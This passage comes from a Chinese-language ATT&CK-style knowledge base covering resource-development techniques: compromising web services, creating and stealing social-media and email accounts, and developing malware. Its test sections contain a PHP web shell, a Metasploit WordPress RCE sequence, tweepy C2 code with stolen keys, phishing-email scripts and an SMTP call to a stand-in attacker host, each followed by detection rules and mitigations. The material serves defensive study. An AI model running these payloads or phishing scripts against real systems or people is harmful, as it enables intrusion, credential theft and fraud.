msg['To'] = 'user@test.com'\n     with smtplib.SMTP('smtp.attacker.com') as server:\n         server.login('user', 'pass')\n         server.send_message(msg)\n     ```\n3. **漏洞利用模拟**：\n   - 攻击WordPress插件漏洞：\n     ```bash\n     msfconsole\n     use exploit/multi/http/wp_file_manager_rce\n     set RHOST <WORDPRESS_IP>\n     exploit\n     ```\n   - 在受损WordPress站点上部署C2后门：\n     ```php\n     <?php\n     // 简单的C2后门\n     if (isset($_POST['cmd'])) {\n         system($_POST['cmd']);\n     }\n     ?>\n     ```\n4. **API滥用模拟**：\n   - 使用窃取的Twitter API密钥发送C2指令：\n     ```python\n     import tweepy\n     auth = tweepy.OAuthHandler(\"stolen_consumer_key\", \"stolen_consumer_secret\")\n     auth.set_access_token(\"stolen_access_token\", \"stolen_access_token_secret\")\n     api = tweepy.API(auth)\n     api.update_status(\"test_C2_command:execute_payload\")\n     ```\n5. **结果分析**：\n   - 验证C2通道、钓鱼页面或恶意文件分发是否正常运行。\n6. **日志收集**：\n   - 收集DNS、网络流量、邮件和端点日志，分析Web服务入侵痕迹。\n\n## 测试留痕\nWeb服务入侵可能留下以下痕迹：\n- **网络流量**：与Web服务API端点的异常HTTP/HTTPS通信。\n- **DNS查询**：解析到Web服务（如github.io、drive.google.com）的异常域名。\n- **邮件服务器日志**：针对Web服务账户的钓鱼邮件。\n- **端点日志**：访问Web服务托管的恶意页面或下载可疑文件的记录。\n- **Web服务日志**：异常的账户登录、内容修改或API调用（需服务提供商支持）。\n\n## 检测规则/思路\n由于Web服务入侵多发生在目标组织视野之外，检测需结合多种手段：\n- **网络流量监控**：\n  - 检测与Web服务（如Twitter API、Google Drive）的异常通信，关注高频API调用或可疑流量模式。\n  - 示例Snort规则：\n    ```snort\n    alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:\"Suspicious Web Service Traffic\"; content:\"api.twitter.com\"; sid:1000001;)\n    ```\n- **DNS监控**：\n  - 检测解析到Web服务IP的异常域名，重点关注github.io、drive.google.com等。\n  - 示例DNS防火墙规则：\n    ```plaintext\n    Rule: Detect Suspicious Web Service Domains\n    Condition: DNS query resolves to github.io OR drive.google.com\n    Action: Alert\n    ```\n- **邮件监控**：\n  - 使用DLP工具检测针对Web服务账户的钓鱼邮件。\n  - 示例DLP规则：\n    ```plaintext\n    Rule: Detect Phishing Links to Web Services\n    Condition: Email contains \"http\" AND \"github.com\"\n    Action: Alert\n    ```\n- **端点监控**：\n  - 使用EDR工具（如CrowdStrike、Carbon Black）检测访问Web服务托管的恶意页面或下载可疑文件的活动。\n  - 示例EDR规则：\n    ```plaintext\n    Rule: Detect Suspicious Web Service Access\n    Condition: Process connects to github.io AND NOT authorized\n    Action: Alert\n    ```\n- **威胁情报整合**：\n  - 结合威胁情报平台（如微步在线、奇安信），识别已知的恶意Web服务URL或IP。\n- **日志关联**：\n  - 使用SIEM（如Splunk、ELK）关联DNS、网络和端点日志，检测Web服务入侵或恶意使用。\n\n## 建议\n- **减少暴露面**：\n  - 定期审计Web服务账户，移除不必要的权限或未使用的资源。\n  - 使用强密码和MFA保护Web服务账户。\n- **安全加固**：\n  - 及时更新Web服务平台（如WordPress插件）以修补漏洞。\n  - 配置Web服务的访问控制，限制API密钥的使用范围。\n  - 使用WAF保护托管内容，拦截异常流量。\n- **主动监控与响应**：\n  - 部署SIEM工具（如Splunk、ELK），分析与Web服务相关的异常流量模式。\n  - 使用威胁狩猎（Threat Hunting）技术，主动搜索可能的Web服务入侵。\n- **后续阶段检测**：\n  - 重点监控攻击者生命周期的后续阶段（如命令与控制T1102、钓鱼T1566、数据泄露T1567），通过异常流量或行为间接发现Web服务入侵。\n\n## 参考资料\n- MITRE ATT&CK: T1584-006  \n  <https://attack.mitre.org/techniques/T1584/006/>\n- Lazarus Group 利用新旧恶意软件发展其感染链  \n  <https://securelist.com/lazarus-new-malware/115059/>"
  },
  {
    "path": "Windows/02资源开发/T1585.001-创建账户-社交媒体账户.md",
    "content": "# T1585-001-创建账户-社交媒体账户\n\n## 描述\n在入侵目标组织之前，攻击者可能创建社交媒体账户以支持目标定位和攻击执行。这些账户通常在平台如Twitter、Boss直聘、微信、QQ或TikTok上注册，用于构建虚假或冒充的角色（Persona）以增强社会工程攻击的可信度。攻击者通过以下方式发展角色：\n- 填写详细的个人资料，包括虚假的姓名、职业、照片和背景信息。\n- 建立社交网络，通过添加好友、关注或互动模拟真实用户行为。\n- 跨多个平台创建一致的角色，增加可信度。\n- 使用伪造的文档或照片（如通过AI生成的面部图像）增强角色的真实性。\n\n这些社交媒体账户可用于多种恶意活动，包括：\n- **信息收集**：通过公开信息或直接互动获取目标组织或个人的情报。\n- **鱼叉式钓鱼**：利用角色发送定制化的钓鱼消息（如LinkedIn私信）。\n- **信任建立**：与目标建立连接，诱导其泄露敏感信息或点击恶意链接。\n- **基础设施支持**：配合其他攻击阶段，如命令与控制（T1102）或钓鱼（T1566）。\n\n攻击者可能使用临时邮箱或匿名服务注册账户，以降低被追踪的风险。社交媒体账户的隐蔽性和高信任度使其成为社会工程攻击的理想工具。\n\n## 测试案例\n以下是模拟攻击者创建和使用社交媒体账户的常见方法和案例：\n- **创建虚假账户**：\n  - 在LinkedIn上注册账户，伪装为目标组织的HR或高管（如“John Smith, HR Manager at TargetCorp”）。\n    ```bash\n    # 伪代码：通过API或浏览器自动化注册\n    curl -X POST \"https://api.linkedin.com/v2/signup\" \\\n    -d \"email=temp123@tempmail.com&name=John+Smith&title=HR+Manager\"\n    ```\n- **角色发展**：\n  - 上传AI生成的头像（使用工具如ThisPersonDoesNotExist），填写虚假教育背景和工作经历。\n  - 添加多个无关账户为好友，模拟活跃社交网络。\n    ```bash\n    # 伪代码：通过LinkedIn API添加连接\n    curl -X POST \"https://api.linkedin.com/v2/connections\" \\\n    -H \"Authorization: Bearer <API_TOKEN>\" \\\n    -d \"user_id=target_user_id\"\n    ```\n- **鱼叉式钓鱼**：\n  - 使用LinkedIn私信发送伪装的招聘信息，诱导目标点击恶意链接。\n    ```python\n    import requests\n    headers = {\"Authorization\": \"Bearer <API_TOKEN>\"}\n    payload = {\n        \"recipient\": \"urn:li:person:<TARGET_ID>\",\n        \"message\": \"Hi, we're hiring at TargetCorp! Please review: http://fake-targetcorp.com/job\"\n    }\n    requests.post(\"https://api.linkedin.com/v2/messages\", headers=headers, json=payload)\n    ```\n- **跨平台角色一致性**：\n  - 在Twitter和Facebook上创建同名账户，发布与LinkedIn角色一致的内容。\n    ```python\n    import tweepy\n    auth = tweepy.OAuthHandler(\"consumer_key\", \"consumer_secret\")\n    auth.set_access_token(\"access_token\", \"access_token_secret\")\n    api = tweepy.API(auth)\n    api.update_status(\"Excited to join TargetCorp as HR Manager! #NewJob\")\n    ```\n- **案例场景**：\n  - 攻击者在LinkedIn上创建伪装为“TargetCorp HR”的账户，通过私信向员工发送伪造的绩效评估链接，窃取凭据。\n  - 在Twitter上冒充目标组织高管，发布虚假公告，诱导用户访问恶意网站。\n\n## 检测日志\n社交媒体账户创建活动通常发生在目标组织监测范围之外，难以直接监测。以下是可能的日志来源：\n- **邮件服务器日志**：\n  - 检测与社交媒体账户关联的钓鱼邮件或私信。\n- **网络流量日志**：\n  - 识别与社交媒体平台（如api.linkedin.com、api.twitter.com）的异常API调用或钓鱼链接访问。\n- **端点日志**：\n  - 记录访问由社交媒体账户分发的恶意链接的行为。\n- **社交媒体监控日志**：\n  - 检测冒充组织员工或高管的账户（需第三方工具支持，如ZeroFox）。\n- **威胁情报日志**：\n  - 关联已知的恶意社交媒体账户或钓鱼活动。\n\n## 测试复现\n以下是在受控授权环境中模拟社交媒体账户创建和使用的步骤：\n1. **环境准备**：\n   - 注册测试社交媒体账户（如LinkedIn、Twitter），使用临时邮箱（如Temp-Mail）。\n   - 准备测试目标账户和钓鱼页面。\n2. **账户创建**：\n   - 在LinkedIn注册虚假账户：\n     ```bash\n     # 伪代码：通过API或浏览器自动化\n     curl -X POST \"https://api.linkedin.com/v2/signup\" \\\n     -d \"email=test123@tempmail.com&name=Test+HR&title=HR+Manager\"\n     ```\n   - 上传虚假头像和背景信息，添加无关账户为好友。\n3. **角色发展**：\n   - 在Twitter创建同名账户，发布相关内容：\n     ```python\n     import tweepy\n     auth = tweepy.OAuthHandler(\"consumer_key\", \"consumer_secret\")\n     auth.set_access_token(\"access_token\", \"access_token_secret\")\n     api = tweepy.API(auth)\n     api.update_status(\"Joined TargetCorp as HR! #Career\")\n     ```\n4. **鱼叉式钓鱼**：\n   - 发送伪装的LinkedIn私信：\n     ```python\n     import requests\n     headers = {\"Authorization\": \"Bearer <API_TOKEN>\"}\n     payload = {\n         \"recipient\": \"urn:li:person:<TEST_TARGET_ID>\",\n         \"message\": \"Hi, please review our new policy: http://test-phishing.com\"\n     }\n     requests.post(\"https://api.linkedin.com/v2/messages\", headers=headers, json=payload)\n     ```\n5. **结果分析**：\n   - 验证钓鱼消息是否成功发送，或目标是否访问恶意链接。\n6. **日志收集**：\n   - 收集邮件服务器、网络流量、端点和社交媒体监控日志，分析账户相关活动痕迹。\n\n## 测试留痕\n社交媒体账户相关活动可能留下以下痕迹：\n- **邮件服务器日志**：来自可疑社交媒体账户的钓鱼邮件或私信记录。\n- **网络流量**：与社交媒体API或钓鱼网站的HTTP/HTTPS通信。\n- **端点日志**：访问钓鱼链接或下载恶意内容的记录。\n- **社交媒体平台日志**：新账户创建、异常连接请求或内容发布（需平台支持）。\n- **DNS查询**：解析到钓鱼站点的异常查询。\n\n## 检测规则/思路\n由于社交媒体账户创建多发生在目标组织视野之外，检测需结合多种手段：\n- **社交媒体监控**：\n  - 使用工具（如ZeroFox、Hootsuite）检测冒充组织员工或高管的账户。\n  - 示例监控规则：\n    ```plaintext\n    Rule: Detect Impersonating Accounts\n    Condition: Account name contains \"TargetCorp\" AND NOT verified\n    Action: Alert\n    ```\n- **邮件监控**：\n  - 使用DLP工具检测来自社交媒体账户的钓鱼消息。\n  - 示例DLP规则：\n    ```plaintext\n    Rule: Detect Phishing from Social Media\n    Condition: Email contains \"linkedin.com\" AND \"http\"\n    Action: Alert\n    ```\n- **网络流量监控**：\n  - 检测与社交媒体API的异常通信或钓鱼链接访问。\n  - 示例Snort规则：\n    ```snort\n    alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:\"Suspicious Social Media Traffic\"; content:\"api.linkedin.com\"; sid:1000001;)\n    ```\n- **端点监控**：\n  - 使用EDR工具（如CrowdStrike、Carbon Black）检测访问钓鱼链接的行为。\n  - 示例EDR规则：\n    ```plaintext\n    Rule: Detect Phishing Link Access\n    Condition: Process connects to <PHISHING_URL>\n    Action: Alert\n    ```\n- **威胁情报整合**：\n  - 结合威胁情报平台（如微步在线、奇安信），识别已知的恶意社交媒体账户或钓鱼活动。\n- **日志关联**：\n  - 使用SIEM（如Splunk、ELK）关联邮件、网络和端点日志，检测社交媒体账户相关恶意活动。\n\n## 建议\n- **减少暴露面**：\n  - 教育员工识别可疑的社交媒体连接请求或消息，避免泄露敏感信息。\n  - 限制员工在社交媒体上公开组织相关信息。\n- **安全加固**：\n  - 使用强密码和MFA保护员工的社交媒体账户，防止凭据被窃取。\n  - 配置社交媒体账户的隐私设置，限制公开信息。\n- **主动监控与响应**：\n  - 部署社交媒体监控工具（如ZeroFox），检测冒充账户或异常活动。\n  - 使用Google Alerts或社交媒体搜索监控与组织相关的可疑账户。\n  - 进行威胁狩猎（Threat Hunting），主动搜索可能的社交媒体钓鱼活动。\n- **后续阶段检测**：\n  - 重点监控攻击者生命周期的后续阶段（如钓鱼T1566、命令与控制T1102），通过异常流量或行为间接发现社交媒体账户滥用。\n\n## 参考资料\n- MITRE ATT&CK: T1585-001  \n  <https://attack.mitre.org/techniques/T1585/001/>"
  },
  {
    "path": "Windows/02资源开发/T1585.002-创建账户-电子邮箱账户.md",
    "content": "# T1583-002-盗取账户-电子邮箱账户\n\n# 描述\n在入侵目标组织之前，攻击者可能创建电子邮箱账户以支持目标定位和攻击执行。这些邮箱账户通常从公共邮件服务提供商（如Gmail、Outlook、ProtonMail）或一次性邮件服务（如Temp-Mail、Guerrilla Mail）获取，用于网络钓鱼（T1566）、信息收集或基础设施建立（如域名注册T1583-001）。攻击者可能通过以下方式增强邮箱账户的可信度：\n- 建立关联的社交媒体账户，构建虚假身份。\n- 使用与目标组织相关的命名模式（如`admin@targetcorp.com`变种）以增加欺骗性。\n- 配置账户以绕过垃圾邮件过滤器，如通过正常交互模拟合法用户行为。\n\n攻击者偏好使用一次性邮箱或匿名邮件服务以降低被追踪的风险。这些账户在攻击生命周期中可用于初始访问、凭据窃取或后续恶意活动使用。\n\n## 测试案例\n以下是模拟攻击者创建和使用电子邮箱账户的常见方法和案例：\n- **创建公共邮箱账户**：\n  - 在Gmail或Outlook上注册账户，使用与目标相关的名称（如`support.targetcorp@gmail.com`）。\n    ```bash\n    # 手动注册示例（伪代码）\n    curl -X POST \"https://accounts.google.com/signup\" \\\n    -d \"username=support.targetcorp&password=StrongPass123\"\n    ```\n- **使用一次性邮箱**：\n  - 使用Temp-Mail生成临时邮箱（如`random123@tempmail.com`）进行钓鱼。\n    ```bash\n    # 使用Temp-Mail API获取临时邮箱\n    curl \"https://api.temp-mail.org/request/mail/id/<API_KEY>\"\n    ```\n- **钓鱼邮件分发**：\n  - 使用创建的邮箱发送伪装的登录提示邮件，诱导目标泄露凭据。\n    ```python\n    import smtplib\n    from email.mime.text import MIMEText\n    msg = MIMEText(\"Please verify your account: http://fake-targetcorp.com/login\")\n    msg['Subject'] = 'Urgent: Account Verification Required'\n    msg['From'] = 'support.targetcorp@gmail.com'\n    msg['To'] = 'victim@target.com'\n    with smtplib.SMTP('smtp.gmail.com', 587) as server:\n        server.starttls()\n        server.login('support.targetcorp@gmail.com', 'password')\n        server.send_message(msg)\n    ```\n- **基础设施建立**：\n  - 使用邮箱注册域名以支持钓鱼网站。\n    ```bash\n    # 使用Namecheap API注册域名（伪代码）\n    curl -X POST \"https://api.namecheap.com/xml.response\" \\\n    -d \"ApiUser=attacker&ApiKey=<API_KEY>&Command=namecheap.domains.create&DomainName=fake-targetcorp.com&EmailAddress=attacker@tempmail.com\"\n    ```\n- **案例场景**：\n  - 攻击者创建`hr@targetcorp-lookalike.com`邮箱，发送钓鱼邮件，诱导员工访问伪装的HR门户，窃取凭据。\n  - 使用Guerrilla Mail的临时邮箱注册域名，托管恶意网站，分发恶意软件。\n\n## 检测日志\n电子邮箱账户创建活动通常发生在目标组织监测范围之外，难以直接监测。以下是可能的日志来源：\n- **邮件服务器日志**：\n  - 检测来自可疑邮箱地址的钓鱼邮件。\n- **网络流量日志**：\n  - 识别与一次性邮箱服务（如tempmail.com、guerrillamail.com）的异常通信。\n- **DNS日志**：\n  - 记录与新注册域名或钓鱼网站相关的异常查询，可能由攻击者邮箱注册。\n- **端点日志**：\n  - 记录访问由攻击者邮箱分发的钓鱼链接的行为。\n- **威胁情报日志**：\n  - 关联已知的恶意邮箱地址或域名注册记录。\n\n## 测试复现\n以下是在受控授权环境中模拟电子邮箱账户创建和使用的步骤：\n1. **环境准备**：\n   - 注册测试邮箱账户（如Gmail、Outlook）或使用一次性邮箱服务（如Temp-Mail）。\n   - 准备测试目标邮箱地址和钓鱼页面。\n2. **邮箱账户创建**：\n   - 手动在Gmail注册账户：\n     ```bash\n     # 伪代码：通过API或浏览器自动化注册\n     curl -X POST \"https://accounts.google.com/signup\" \\\n     -d \"username=test.attacker&password=StrongPass123\"\n     ```\n   - 使用Temp-Mail获取临时邮箱：\n     ```bash\n     curl \"https://api.temp-mail.org/request/mail/id/<API_KEY>\"\n     ```\n3. **钓鱼邮件分发**：\n   - 发送伪装的钓鱼邮件：\n     ```python\n     import smtplib\n     from email.mime.text import MIMEText\n     msg = MIMEText(\"Please login: http://test-phishing.com\")\n     msg['Subject'] = 'Account Verification'\n     msg['From'] = 'test.attacker@gmail.com'\n     msg['To'] = 'test.victim@target.com'\n     with smtplib.SMTP('smtp.gmail.com', 587) as server:\n         server.starttls()\n         server.login('test.attacker@gmail.com', 'password')\n         server.send_message(msg)\n     ```\n4. **基础设施建立**：\n   - 使用邮箱注册测试域名：\n     ```bash\n     # 伪代码：通过Namecheap注册\n     curl -X POST \"https://api.namecheap.com/xml.response\" \\\n     -d \"ApiUser=attacker&ApiKey=<API_KEY>&Command=namecheap.domains.create&DomainName=test-phishing.com&EmailAddress=test.attacker@tempmail.com\"\n     ```\n5. **结果分析**：\n   - 验证钓鱼邮件是否成功发送，或域名是否注册并指向钓鱼页面。\n6. **日志收集**：\n   - 收集邮件服务器、网络流量、DNS和端点日志，分析邮箱相关活动痕迹。\n\n## 测试留痕\n电子邮箱账户相关活动可能留下以下痕迹：\n- **邮件服务器日志**：来自可疑邮箱地址的钓鱼邮件记录。\n- **网络流量**：与一次性邮箱服务或钓鱼网站的HTTP/HTTPS通信。\n- **DNS查询**：解析到新注册域名或钓鱼站点的异常查询。\n- **端点日志**：访问钓鱼链接或下载恶意附件的记录。\n- **注册商日志**：使用攻击者邮箱注册的域名记录（需注册商支持）。\n\n## 检测规则/思路\n由于邮箱账户创建多发生在目标组织视野之外，检测需结合多种手段：\n- **邮件监控**：\n  - 使用DLP工具检测钓鱼邮件，重点关注伪装成合法组织的邮箱地址。\n  - 示例DLP规则：\n    ```plaintext\n    Rule: Detect Phishing Emails\n    Condition: Email sender contains \"targetcorp\" AND NOT \"@targetcorp.com\"\n    Action: Alert\n    ```\n- **网络流量监控**：\n  - 检测与一次性邮箱服务（如tempmail.com）的异常通信。\n  - 示例Snort规则：\n    ```snort\n    alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:\"Suspicious Temp Mail Traffic\"; content:\"tempmail.com\"; sid:1000001;)\n    ```\n- **DNS监控**：\n  - 检测解析到新注册或可疑域名的查询。\n  - 示例DNS防火墙规则：\n    ```plaintext\n    Rule: Detect Suspicious Domain Queries\n    Condition: DNS query resolves to <NEWLY_REGISTERED_DOMAIN>\n    Action: Alert\n    ```\n- **端点监控**：\n  - 使用EDR工具（如CrowdStrike、Carbon Black）检测访问钓鱼链接或下载可疑文件的活动。\n  - 示例EDR规则：\n    ```plaintext\n    Rule: Detect Phishing Link Access\n    Condition: Process connects to <PHISHING_URL>\n    Action: Alert\n    ```\n- **威胁情报整合**：\n  - 结合威胁情报平台（如微步在线、奇安信），识别已知的恶意邮箱地址或钓鱼域名。\n- **日志关联**：\n  - 使用SIEM（如Splunk、ELK）关联邮件、网络和端点日志，检测邮箱相关恶意活动。\n\n## 建议\n- **减少暴露面**：\n  - 教育员工识别钓鱼邮件，避免点击可疑链接或泄露凭据。\n  - 限制访问一次性邮箱服务，防止员工误用。\n- **安全加固**：\n  - 配置邮件过滤器，拦截伪装成合法组织的钓鱼邮件。\n  - 实施DMARC、SPF和DKIM，验证发件人身份，降低邮箱伪造风险。\n  - 使用MFA保护员工邮箱账户，防止凭据被窃取。\n- **主动监控与响应**：\n  - 部署SIEM工具（如Splunk、ELK），分析异常邮件或网络流量模式。\n  - 使用威胁狩猎（Threat Hunting）技术，主动搜索可能的钓鱼活动。\n- **后续阶段检测**：\n  - 重点监控攻击者生命周期的后续阶段（如钓鱼T1566、命令与控制T1102），通过异常流量或行为间接发现邮箱账户滥用。\n\n## 参考资料\n- MITRE ATT&CK: T1585-002  \n  <https://attack.mitre.org/techniques/T1585/002/>"
  },
  {
    "path": "Windows/02资源开发/T1586.001-盗取账户-社交媒体账户.md",
    "content": "# T1586-001-盗取账户-社交媒体账户\n\n## 描述\n\n在入侵受害者之前，攻击者可能通过盗取社交媒体账户来为后续的目标定位操作做准备。社交媒体账户在涉及社会工程学的攻击中尤为重要，因为它们可以建立在线角色以赢得目标的信任。与创建和维护新的社交媒体资料（T1585-001：建立社交媒体账户）相比，攻击者更可能选择盗取现有账户，以利用其已有的关系或信任度。如果目标与被盗账户的角色有既往联系或信任关系，攻击者利用该账户可能显著提高社会工程学的成功率。\n\n盗取账户的方式包括但不限于：\n\n- **网络钓鱼**：通过定向钓鱼活动收集用户凭据。\n- **购买凭据**：从第三方市场或暗网论坛购买泄露的凭据。\n- **凭据填充**：利用之前泄露的凭据进行重用攻击。\n- **暴力破解**：通过自动化工具尝试破解账户密码。\n\n在盗取账户之前，攻击者通常会进行侦察，识别与目标相关的具有高价值的账户。这些账户可能是目标的同事、朋友或行业内的关键人物。盗取成功后，攻击者可能进一步完善账户，例如更新个人资料信息、上传照片或扩展社交网络，使其看起来更真实可信。\n\n被盗账户可能存在于单一平台或多个平台（如微信、QQ、LinkedIn、Twitter/X、微博等），并可用于建立与目标的新连接、劫持现有关系或冒充可信实体。这些账户可能在攻击生命周期的其他阶段发挥作用，例如在初始访问阶段通过鱼叉式网络钓鱼（T1566-002：信息收集钓鱼）实施攻击。\n\n## 测试案例\n\n### 概述\n攻击者可能盗取社交媒体账户，冒充可信人员（如公司财务人员、同事或校友）以欺骗目标，诱导其分享敏感信息或执行特定操作。例如，攻击者可能盗取财务人员的社交媒体账户，向其他员工发送虚假的付款请求或敏感数据索取信息。此外，攻击者可能修改账户信息（如头像、简介或动态）以更逼真地模仿目标信任的联系人，从而提高社会工程学的成功率。\n\n### 示例场景\n\n一个真实的案例展示了这一技术（参考：[记一次艰难的溯源故事（对不起学长）](https://xz.aliyun.com/t/9582)）。攻击者使用一个高等级的QQ小号，将账户资料修改为18岁、2018届某高校计算机专业学生，并从贴吧收集学校相关照片填充QQ空间，增强可信度。攻击者以“咨询就业信息”的学弟身份向目标发送好友请求，利用共同的学校背景建立信任。好友请求通过后，攻击者迅速发起对话，假装咨询职业问题，同时强调自己是开发人员而非网络安全从业者，以降低目标的警惕性。通过这种方式，攻击者成功获取目标信任并提取信息。\n\n此案例表明，攻击者通过利用共同背景（如校友关系或职业关联）可显著提高社会工程学的效果，用于信息收集、钓鱼或其他攻击活动。\n\n## 检测日志\n\n**挑战**：由于盗取社交媒体账户的行为发生在企业控制范围之外，传统日志（如网络或终端日志）难以直接捕获此类活动。\n\n**潜在指标**：\n- **行为异常**：账户突然出现异常活动，如发布频率变化、新增大量好友或修改个人资料。\n- **可疑交互**：员工报告收到来自熟人账户的异常消息或请求，内容与以往行为不符。\n- **钓鱼活动**：通过被盗账户发送的钓鱼邮件或消息，可能通过邮件网关或即时通讯工具检测到。\n\n## 测试复现\n\n建议组织通过内部红队演练，模拟社会工程学场景，测试员工对可疑账户行为的识别和应对能力。例如，可以创建测试账户模拟异常行为，观察员工是否能识别并报告。\n\n## 测试留痕\n\n此类技术通常不会在企业内部系统中留下直接痕迹。相关痕迹可能出现在后续攻击阶段，如通过被盗账户发送的钓鱼邮件或恶意链接，可在邮件日志、网络流量或终端安全告警中检测到。\n\n## 检测规则/思路\n\n### 检测策略\n1. **社交媒体监控**：\n   - 使用第三方工具监控与组织相关的社交媒体活动，检测冒充员工或组织的账户。\n   - 跟踪异常行为，如账户突然发出大量好友请求或发布与以往不符的内容。\n2. **用户行为分析**：\n   - 部署邮件和即时通讯安全解决方案，检测异常的通信模式，如来自新注册或近期修改的账户的敏感请求。\n   - 对包含财务或敏感数据请求的消息设置自动标记，供人工审查。\n3. **跨平台关联**：\n   - 将社交媒体的异常活动与内部安全事件（如钓鱼尝试或未授权访问）进行关联分析。\n4. **威胁情报整合**：\n   - 使用威胁情报服务，监控暗网或论坛上出售的被盗凭据，提前发现潜在的账户风险。\n\n### 工具推荐\n- **社交媒体监控**：Hootsuite Insights、Brandwatch、ZeroFox 可用于检测冒充账户或异常活动。\n- **邮件安全网关**：Proofpoint、Microsoft Defender 可识别来自被盗账户的钓鱼尝试。\n- **SIEM系统**：通过关联外部威胁情报与内部日志，识别潜在的账户盗用模式。\n\n## 建议\n\n### 缓解措施\n由于此类技术依赖于企业外部平台，难以通过传统防御措施完全阻止。以下措施可降低风险：\n1. **员工教育**：\n   - 定期培训员工识别社会工程学手法，如来自熟人账户的异常消息或请求。\n   - 鼓励通过其他渠道（如电话或面对面）验证可疑请求的真实性。\n2. **账户安全**：\n   - 推广使用强密码，并为所有社交媒体账户启用多因素认证（MFA）。\n   - 教育员工避免跨平台重复使用密码。\n3. **凭据监控**：\n   - 使用服务如 Have I Been Pwned 检查员工账户是否出现在泄露数据库中。\n   - 指导员工定期检查社交媒体账户设置，识别未经授权的更改。\n4. **事件响应**：\n   - 制定针对被盗社交媒体账户的事件响应计划，包括恢复账户控制和通知受影响的联系人。\n   - 与社交媒体平台合作，快速报告并暂停恶意账户。\n\n### 检测增强\n- **主动监控**：\n   - 定期检查公开的社交媒体活动，识别冒充组织或员工的账户。\n   - 使用自动化工具检测账户资料的异常更改，如新头像、简介或异常动态。\n- **员工报告机制**：\n   - 建立便捷的报告渠道，鼓励员工报告可疑消息或账户行为。\n   - 提高员工对熟人账户异常行为的警惕性。\n- **关注攻击生命周期**：\n   - 加强在相关攻击阶段的检测能力，如钓鱼（T1566）或初始访问（T1078），以发现被盗账户的利用行为。\n\n## 参考推荐\n\n- MITRE ATT&CK: T1586-001  \n  <https://attack.mitre.org/techniques/T1586/001/>\n- 案例分析: 记一次艰难的溯源故事（对不起学长）  \n  <https://xz.aliyun.com/t/9582>\n"
  },
  {
    "path": "Windows/02资源开发/T1586.002-盗取账户-电子邮箱账户.md",
    "content": "# T1586-002-盗取账户-电子邮箱账户\n\n## 描述\n攻击者在入侵目标之前，可能通过盗取电子邮箱账户来支持目标定位和攻击执行。被盗邮箱账户（如Gmail、Outlook或企业邮箱）因其与目标的信任关系，可用于鱼叉式钓鱼（T1566）、信息收集、邮件线程劫持或注册恶意基础设施（如域名T1583-001）。相比创建新账户（T1585-002），盗取账户更具隐蔽性和可信度。\n\n攻击者盗取账户的常见方法包括：\n- **凭据窃取**：通过钓鱼、恶意软件或凭据填充获取凭据。\n- **购买泄露凭据**：从暗网获取泄露的邮箱凭据。\n- **暴力破解**：利用弱密码或重用凭据破解账户。\n- **社会工程**：伪装身份欺骗邮件服务提供商，重置账户。\n- **漏洞利用**：利用邮件服务漏洞（如OAuth误配置）窃取访问权限。\n\n被盗账户可用于发送伪装邮件、插入恶意链接或窃取敏感信息，显著提升攻击成功率。\n\n## 测试案例\n\n很好理解，这里不做任何案例说明。\n\n## 测试复现\n\n暂无\n\n## 检测日志\n\n邮箱账户盗取多发生在目标组织视野之外，检测需依赖间接日志：\n- **邮件服务器日志**：异常登录、邮件发送或转发规则修改。\n- **身份验证日志**：未知IP或设备的登录尝试。\n- **网络流量日志**：与邮件服务（如imap.gmail.com）或钓鱼站点的异常通信。\n- **端点日志**：访问钓鱼链接或下载恶意附件的活动。\n- **威胁情报日志**：已知的恶意邮箱或钓鱼活动关联。\n\n## 测试留痕\n\n邮箱账户盗取可能产生以下痕迹：\n- **邮件服务器**：异常登录、邮件发送或规则变更记录。\n- **网络流量**：与钓鱼网站或邮件服务的可疑通信。\n- **端点**：访问钓鱼链接或恶意附件的记录。\n- **DNS查询**：解析到钓鱼站点的域名。\n- **身份验证**：未知来源的登录尝试。\n\n## 检测规则/思路\n\n主要通过对被盗邮箱账户的异常登录、邮件发送或者规则变更记录等角度进行分析，比如某邮箱账户短时间内多地登录、某邮箱账号非工作时间内异地登录、某邮箱账号频繁发送同一主题邮件、某邮箱账号邮件发送限制变更等；可结合上下文行为进行分析，又比如某邮箱账户首先异地登录，其次又频繁发送同一主题邮件，可以认为其是一个异常模型。\n\n## 建议\n- **减少暴露**：\n  - 培训员工识别钓鱼邮件，避免凭据泄露。\n  - 限制个人邮箱用于工作相关通信。\n- **安全加固**：\n  - 启用MFA保护邮箱账户。\n  - 配置DMARC、SPF、DKIM，验证发件人身份。\n  - 定期更新邮件服务，修补漏洞。\n- **主动监控**：\n  - 部署SIEM分析异常邮件或登录活动。\n  - 使用威胁狩猎，主动搜索账户盗取迹象。\n- **后续检测**：\n  - 监控攻击后续阶段（如钓鱼T1566、命令与控制T1102），通过异常行为发现账户滥用。\n\n## 参考推荐\n\n- MITRE ATT&CK: T1586-002  \n  <https://attack.mitre.org/techniques/T1586/002/>"
  },
  {
    "path": "Windows/02资源开发/T1587.001-开发能力-恶意软件.md",
    "content": "# T1587-001-开发能力-恶意软件\n\n## 描述\n\n在入侵目标组织之前，攻击者可能开发恶意软件及其组件，以支持目标定位和攻击执行。恶意软件包括但不限于有效载荷（Payload）、释放程序（Dropper）、后渗透工具、后门（Backdoor）、加壳程序（Packer）、命令与控制（C2）协议以及受感染的可移动存储设备。这些恶意软件旨在实现持久化控制、防御逃逸（如绕过杀毒软件）、数据窃取、破坏系统或执行其他后渗透操作（如提权T1055、横向移动T1021）。\n\n攻击者开发恶意软件可能涉及：\n- **内部开发**：利用自身编程技能，开发定制化恶意软件。\n- **外包开发**：通过暗网或其他渠道雇佣第三方开发者，定制恶意软件或组件。\n- **开源工具修改**：基于现有恶意软件源码（如Mirai、Cobalt Strike）进行二次开发。\n- **C2协议定制**：开发与合法服务（如Twitter、Google Drive）通信的C2协议，以掩盖恶意流量。\n- **混淆与加壳**：使用加壳工具（如UPX、Themida）或代码混淆技术，规避检测。\n\n恶意软件开发可能需要额外基础设施支持，如C2服务器（T1583-004）、测试环境或Web服务（T1583-006）。攻击者通过定制化开发，确保恶意软件适配目标环境，提高攻击成功率和隐蔽性。\n\n## 测试案例\n\n攻击者的恶意软件开发在企业组织视野之外，暂无案例。\n\n## 检测日志\n\n恶意软件开发通常发生在目标组织监测范围之外，难以直接监测。以下是可能的间接日志来源：\n- **网络流量日志**：\n  - 检测与已知C2服务器的异常通信（如高频HTTP、DNS请求）。\n- **端点日志**：\n  - 记录可疑进程、文件创建或网络连接，可能与测试或分发的恶意软件相关。\n- **邮件服务器日志**：\n  - 